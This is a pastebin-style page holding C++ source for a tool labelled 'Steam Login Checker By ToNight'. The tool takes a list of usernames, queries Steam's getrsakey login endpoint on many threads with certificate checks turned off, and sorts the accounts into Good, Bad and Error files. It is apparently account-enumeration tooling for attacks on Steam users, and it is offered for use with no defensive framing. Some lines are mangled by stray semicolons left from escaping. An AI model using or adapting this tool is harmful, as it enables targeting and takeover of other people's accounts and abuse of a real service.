Psst.. new poll here.
[email protected] webmail now available. Want one? Go here.
Cannot use outlook/hotmail/live here to register as they blocking our mail servers. #microsoftdeez
Obey the Epel!
Paste
Pasted as C++ by ToNight ( 11 years ago )
#include "stdafx.h"
#include <vector>
#include <string>
#include <fstream>
#include <iostream>
#include <process.h>
#include <Windows.h>
#include <curl/curl.h>
using namespace std;
#pragma comment (lib,"curllib.lib")
CRITICAL_SECTION m_CS;
volatile LONG pos = 0;
vector<string> source_list;
ofstream bad("Bad.txt",ios::trunc);
ofstream good("Good.txt",ios::trunc);
ofstream error("Error.txt",ios::trunc);
int bd = 0,gd = 0,er = 0;
void logo(){
system("cls");
cout<<"=============================================================================="<<endl;
cout<<":::::::::::::::::::::::Steam Login Checker By ToNight:::::::::::::::::::::::::"<<endl;
cout<<"=============================================================================="<<endl;
cout<<"=================================V.1.0.1======================================"<<endl;
cout<<"=============================================================================="<<endl;
cout<<"::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::"<<endl;
cout<<"::::::::::::::::::::::::::::::::STATISTICS::::::::::::::::::::::::::::::::::::"<<endl;
cout<<"::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::"<<endl;
cout<<"=============================================================================="<<endl;
}
static int writer(char *data, size_t size, size_t nmemb,std::string *buffer)
{
int result = 0;
if (buffer != NULL){
buffer->append(data, size * nmemb);
result = size * nmemb;
}
return result;
}
string get_request(string url){
string buffer = "";
CURL *curl;
curl_slist *slist=NULL;
curl = curl_easy_init();
if(curl){
curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &buffer;);
curl_easy_perform(curl);
curl_easy_cleanup(curl);
}
return buffer ;
}
void send_req(string url){
string buf = get_request(url);
string buf1 = get_request(url);
string buf2 = get_request(url);
::EnterCriticalSection(&m_CS);
if(buf==buf1&&buf1;==buf2&&buf;==buf2&&buf;!=""){
gd++;
good<<url.erase(0,53)<<endl;
}
else {
if(buf==buf1||buf==buf2||buf1==buf2){
er++;
error<<url.erase(0,53)<<endl;
}
else{
bd++;
bad<<url.erase(0,53)<<endl;
}
}
printf("Good : %d Bad : %d Error : %d All Accounts : %d \r",gd,bd,er,source_list.size());
::LeaveCriticalSection(&m_CS);
}
void thread_proc(void * arg)
{
while(1){
unsigned int i = InterlockedIncrement(&pos;);
if(i > source_list.size())
break;
send_req(source_list[i-1]);
}
}
int main()
{
logo();
SetConsoleTitle(L"Steam Login Checker By ToNight");
string line;
unsigned int thread_cnt;
::InitializeCriticalSection(&m_CS);
cout<<"Enter Numbers Of Threads : "<<endl;
cin>>thread_cnt;
vector<HANDLE> threads;
ifstream source("Source.txt");
if(!source.is_open())
return 1;
while(getline(source, line))
source_list.push_back("https://steamcommunity.com/login/getrsakey/?username="+line);
curl_global_init(CURL_GLOBAL_ALL);
for(unsigned int i = 0; i < thread_cnt; i++)
threads.push_back(reinterpret_cast<HANDLE>(_beginthread(thread_proc, 0, NULL)));
WaitForMultipleObjects(threads.size(), &threads;[0], TRUE, INFINITE);
system("PAUSE");
return 0;
}
Revise this Paste